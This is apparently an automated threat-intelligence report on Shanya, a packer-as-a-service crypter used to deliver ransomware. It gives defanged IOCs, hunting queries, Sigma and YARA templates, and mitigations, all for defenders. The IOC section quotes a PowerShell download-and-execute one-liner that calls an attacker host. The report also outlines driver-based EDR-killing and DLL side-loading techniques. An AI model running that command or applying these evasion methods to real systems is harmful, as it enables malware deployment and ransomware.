Date Created: 2025-12-13
Timeframe Reviewed: 2024-01 — 2025-12

Executive Summary

Shanya is a commercialized Packer‑as‑a‑Service / crypter that produces unique packed stubs and runtime loaders designed to evade endpoint protections and enable EDR‑killer behavior. Multiple security vendors documented Shanya in late 2025 after observing it used to package commodity loaders, RATs, and ransomware (notably Akira, Medusa, Qilin, Crytox) and commodity families (BumbleBee, CastleRAT, StealC). Shanya‑packed payloads implement advanced in‑memory loading, API hashing, sandbox/anti‑analysis checks, and deploy a dual‑driver technique (legitimate driver + malicious unsigned driver) to disable security products. This capability significantly raises the likelihood of successful ransomware deployment when present.

Overall assessment: Immediate triage priority = HIGH. Organizations should assume Shanya‑packed artifacts present a high risk to EDR effectiveness and ransomware containment unless mitigations/hardening are in place.

Confidence: HIGH for core functionality and TTPs (vendor technical writeups + sample enrichments).
Risk rating: CRITICAL to endpoints (ability to disable EDR + enable ransomware).

Objective & Scope

• Objective: Produce a complete, evidence‑based deep dive answering: what Shanya is, how it operates (TTPs), technical behaviors observed, distribution/infrastructure signals, IOCs (defanged), threat‑actor associations, and prioritized detection & mitigation guidance.
• Scope: Open‑source vendor reporting, press coverage, and enrichment of vendor‑cited sample hashes (VirusTotal). No internal enterprise telemetry was accessed. No active sandbox detonations were performed by this process.

Evidence sources: Vendor technical writeup (Sophos), vendor protection bulletin (Broadcom/Symantec), industry press summaries (DarkReading), and VirusTotal enrichment of vendor‑referenced samples.

Confidence: MEDIUM→HIGH for enterprise‑actionable findings; INFRASTRUCTURE mapping remains MEDIUM due to limited passive DNS/WHOIS pivoting in this run.

Methodology

1. Catalog vendor and public reporting describing Shanya and observed campaigns.
2. Extract vendor‑reported TTPs and IOCs.
3. Enrich vendor sample hashes via VirusTotal to confirm detections, tags, and related metadata.
4. Synthesize static and behavioral techniques from vendor analyses into detection and mitigation recommendations.
5. Produce prioritized hunting actions and recommended next steps for analysts.

Tools and data used (evidence): public vendor reports, press coverage, VirusTotal enrichment (sample metadata). No internal telemetry or sandbox detonation was performed by this agent.

Key Findings (Technical & Operational)

1. What Shanya is
   • Shanya is a Packer‑as‑a‑Service / crypter offering sold/promoted in underground forums and used by multiple malware operators to obfuscate payloads and defeat EDR/AV products. It returns unique stubs per customer and supports memory unpacking, AMSI bypasses for .NET, anti‑VM/sandbox features, and runtime protection for native binaries.
   • Confidence: HIGH. Evidence: vendor writeups.
2. Primary TTPs (attack techniques)

3. Observed use cases / actors
   • Frequently used to package EDR‑killer loaders that support ransomware deploys. Observed in campaigns attributed to Akira, Medusa, Qilin, Crytox, and in CastleRAT/BumbleBee distribution chains. Use is opportunistic — multiple actors adopt Shanya when useful. (MEDIUM→HIGH)
4. Representative sample enrichment (VirusTotal)
   • SHA256: 6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1
     • Detected by many engines; common detections: BumbleBee family labels, Shanya‑tagged signatures in vendor engines. (HIGH)
   • SHA256: 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e (consa[.]zip)
     • Detected as malicious ZIP containing inflated DLL(s). (HIGH)
   • VirusTotal tags and engine labels corroborate vendor reporting that Shanya‑packed artifacts are actively flagged across multiple AV engines.
   • Confidence: HIGH for metadata; further pivoting would increase infrastructure mapping confidence.
5. Distribution & infrastructure (summary)
   • Delivery examples: social engineering lures (e.g., Booking[.]com‑themed ClickFix), PowerShell download chains, and ZIP archives containing side‑loading DLLs that are inflated to large sizes.
   • Observed download hosts (defanged): biokdsl[.]com/upd , biklkfd[.]com/upd (used in CastleRAT/booking themed campaign).
   • Hosting and registrant patterns require further pivoting (passive DNS, WHOIS, Shodan) to establish persistent infrastructure. Current mapping is partial. (Confidence: MEDIUM)

Defanged Indicators of Compromise (IOCs)

Note: All domains/URLs are defanged per OPSEC rules (dots replaced with [.] and HTTP schemes defanged).

• File hashes (SHA256)
  • 6645297a0a423564f99b9f474b0df234d6613d04df48a94cb67f541b8eb829d1
  • 59906b022adfc6f63903adbdbb64c82881e0b1664d6b7f7ee42319019fcb3d7e
• Observed download URLs / domains (defanged)
  • hXXps://biokdsl[.]com/upd
  • hXXps://biklkfd[.]com/upd
• Common file / component names (observed in campaigns)
  • consent[.]exe (legitimate Microsoft loader abused)
  • msimg32[.]dll, wmsgapi[.]dll, version[.]dll (malicious side‑loaded DLL names)
  • consa[.]zip (archived bundle used in campaigns)
• Kernel drivers and driver files (observed)
  • ThrottleStop[.]sys / rwdrv[.]sys (legitimate driver abused)
  • hlpdrv[.]sys (malicious unsigned driver)
• PowerShell download pattern (defanged)
  • powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"

Confidence: HIGH for the above IOCs as they derive from vendor reporting and VirusTotal enrichments.

Detection & Hunting Guidance (Prioritized)

Important: Implement hunting rules in your EDR/ND/LOG environment to detect the behaviors below. These examples are templates — adapt field names to your logging schema.

1. High‑priority behavioral hunts (Immediate)
   • Hunt A — Large/inflated DLL loads:
     • Detect processes loading DLLs with file size >> expected system DLL size (e.g., msimg32[.]dll or shell32[.]dll > 50MB).
     • Rationale: Shanya sometimes distributes huge inflated DLLs (e.g., 656MB) to hide payloads.
     • Confidence: HIGH
   • Hunt B — Duplicate system DLL mappings in a single process:
     • Detect processes with two mapped images pointing to the same system DLL name (e.g., two shell32.dll mappings) OR PE integrity changes indicated by PE mapping scanners (PE‑SIEVE).
     • Rationale: Shanya maps a second copy of shell32.dll and overwrites header/.text to host payload.
     • Confidence: HIGH
   • Hunt C — Driver load sequence (signed driver load followed by unsigned driver load + termination activity):
     • Detect: load of known legitimate signed drivers (ThrottleStop[.]sys / rwdrv[.]sys) followed by load of unsigned driver (hlpdrv[.]sys) and subsequent attempts to stop/terminate security service processes.
     • Confidence: HIGH
   • Hunt D — PowerShell download patterns:
     • Detect: command lines invoking iwr / Invoke‑WebRequest to suspicious domains (defanged examples above), or unsanctioned powershell downloads executed from user profile directories.
     • Confidence: MEDIUM→HIGH
2. Sigma‑style example detection (pseudo)
   • Title: Detection of inflated DLL side‑loading
   • Condition:
     • selection:
       • EventID: ProcessCreate
       • CommandLine|contains: "consent.exe" OR "Invoke-Expression"
       • Image|endswith: "\consent.exe"
       • FileSize: > 50MB and FileName|contains: ".dll"
     • detection: selection
3. YARA (example, generic file‑level rule)
   • Purpose: detect packed stubs or large appended payload markers and certain strings observed in vendor samples (use only as a starting point; tune to false positive rates).
   • Example (pseudocode — adapt to lab findings):
     • rule shanya_suspect_packed_dll { strings: $s1 = "GdiHandleBuffer" // presence of pointer usage in PEB context (may appear in strings) $s2 = "shanya" ascii $s3 = "mustard64.dll" ascii condition: (uint16(0) == 0x5A4D) and (filesize > 5MB) and (1 of ($s*)) }
   • Note: YARA tuning must be performed in test environments to reduce false positives.
4. EDR/process hardening detections
   • Monitor API calls indicative of process memory overwrites, LdrLoadDll manipulations, and calls to RtlDeleteFunctionTable. Flag unfamiliar parameter sequences or code hooking attempts.
5. Network detection
   • Block or monitor outbound traffic to domains observed as download hosts and any newly pivoted domains discovered in enrichment.
   • Use DNS sinkholing and TLS/HTTP SNI inspection to block known malicious hosts.

Mitigations & Hardening (Prioritized)

1. Prevent unsigned kernel driver loads where possible
   • Configure group policies / kernel signing enforcement (block unsigned driver loads on critical hosts).
   • Confidence: HIGH
2. Application allowlisting & restrict side‑loading
   • Use application control to block unauthorized execution of legacy loaders (consent[.]exe invoked from user directories) and restrict DLL search paths where feasible.
   • Confidence: HIGH
3. EDR resilience
   • Harden EDR configuration to prevent unauthorized modification/termination; apply kernel‑level protections, protect EDR service processes from untrusted drivers, and keep EDR agents up to date.
   • Confidence: HIGH
4. Network controls & URL blocking
   • Block known download hosts (defanged above) and implement proxy/URL inspection for outbound downloads. Implement strict egress filtering.
   • Confidence: MEDIUM→HIGH
5. Privilege & configuration hygiene
   • Limit local admin rights, enforce MFA, maintain least privilege for endpoints to reduce ability to install drivers or write to OS folders.
   • Confidence: HIGH
6. Backup & incident readiness
   • Ensure immutable backups and tested restore processes to limit ransomware impact in case of successful compromise.
   • Confidence: HIGH

Recommended Analyst Actions (Next Steps — prioritized)

These are recommended actions for human analysts and incident responders.

1. Immediate (0–24 hours)
   • Search EDR for the two vendor‑referenced hashes and for processes that loaded unusually large DLLs or mapped duplicate shell32.dll images.
   • Block outbound access to the defanged download domains (biokdsl[.]com, biklkfd[.]com) at the proxy/firewall pending further enrichment.
   • Monitor for recent driver loads matching ThrottleStop[.]sys / rwdrv[.]sys and any subsequent unsigned driver loads.
2. Short term (1–3 days)
   • Pivot from the vendor sample hashes in VirusTotal/MISP to enumerate related domains, IPs, and connected samples (extract passive DNS & hosting details).
   • Capture memory and run PE integrity mapping (PE‑SIEVE or equivalent) on suspect hosts to detect overwritten DLLs and injected payloads.
   • Create temporary Sigma rules for the PowerShell download patterns and for large/inflated DLL loads.
3. Medium term (3–14 days)
   • In a controlled lab, perform sandboxed dynamic analysis of representative Shanya‑packed samples to capture runtime artifacts: registry keys, driver installation sequences, service stops, and C2 callbacks. (Recommendation: do this only in isolated, instrumented environments — do not run on corp assets.)
   • Generate robust YARA and EDR query rules from extracted indicators and behavior signatures.
   • Perform broader enterprise hunt for driver abuse chains and side‑loading artefacts.
4. Longer term / remediation
   • Harden driver loading policies, implement application allowlisting, and review supplier/third‑party software that may include vulnerable signed drivers prone to abuse.
   • Ingest validated, reviewer‑approved artifacts into your threat intel platform / graph for operational reuse.

Evidence & Attribution

• Primary vendor technical analysis: Sophos "Inside Shanya, a packer‑as‑a‑service fueling modern attacks" (2025) — detailed behavioral analysis, sample strings, and campaign examples. (HIGH confidence for technical TTPs)
• Protection bulletin: Broadcom/Symantec "Shanya crypter" (Dec 2025) — detection mappings and product guidance. (MEDIUM→HIGH)
• Industry reporting summarizing vendor findings: DarkReading (Dec 2025). (MEDIUM)
• VirusTotal enrichment: confirmed vendor‑cited sample hashes show multi‑vendor detection and BumbleBee / Shanya tags. (HIGH)
• Note: further attribution to a single operator is not demonstrated; Shanya appears to be a commercialized service adopted by multiple actors. (Confidence: MEDIUM)

Limitations & Gaps

• Infrastructure mapping: passive DNS, WHOIS, hosting provider, ASN, and Shodan/FOFA enumeration were not exhaustively performed in this run and would materially improve mapping of C2/hosting infrastructure and persistence of domains. Current hosting attribution is therefore PARTIAL (MEDIUM confidence).
• Dynamic analysis: no new detonations were performed by this agent; dynamic behavioral signatures were synthesized from vendor reports and sample metadata. For precise YARA/sigma rules, lab detonations and memory captures are recommended.
• Internal telemetry: enterprise‑specific visibility (EDR logs, network captures) is required to confirm active compromises; this analysis did not include those datasets.

Confidence: INSufficient for infrastructure completeness; further analyst action required.

Recommended Deliverables for Analysts (to complete the deep dive)

1. VirusTotal/MISP pivoting report of all related samples, domains, and IPs discovered from the seed hashes.
2. Passive DNS / WHOIS / ASN mapping of discovered domains and IPs.
3. Controlled sandbox detonation (isolated lab) of representative Shanya‑packed samples capturing memory dumps, registry changes, driver loads, and network callbacks.
4. Creation of tuning‑tested YARA, Sigma, and EDR rules based on extracted artifacts.
5. Ingest validated artifacts into your TI platform and persist relationships in your knowledge graph.

Appendix A — Example Detection Rules (Templates)

1. Sigma‑style pseudo rule (PowerShell download)

• Title: Suspicious PowerShell download from likely malicious domain
• Conditions:
  • Event: ProcessCreate
  • ProcessCommandLine: contains "powershell" and contains "iwr" and contains "upd" and contains "biokdsl[.]com"
• Action: alert / require analyst review

2. YARA (starter, generic)

• name: Shanya_suspect_packer
• condition:
  • file size > 1MB and any of:
    • contains "GdiHandleBuffer"
    • contains "shanya"
    • contains "mustard64.dll"
• Note: Validate against benign corp software; tune on dataset.

(These are templates — finalize and tune after lab detonation and sample string extraction.)

Conclusion

Shanya represents a substantial operational escalation in the packer/crypter market: it is designed not only to evade static detections but also to actively disable endpoint defenses via driver abuse and EDR‑killer orchestration. The net effect materially increases ransomware success probability for operators that use it. The vendor reporting and sample enrichments provide strong evidence for the TTPs described; however, enterprise defenders should complete the recommended pivoting, lab analysis, and telemetry hunts to fully map exposure and generate low‑false‑positive detection rules.

‍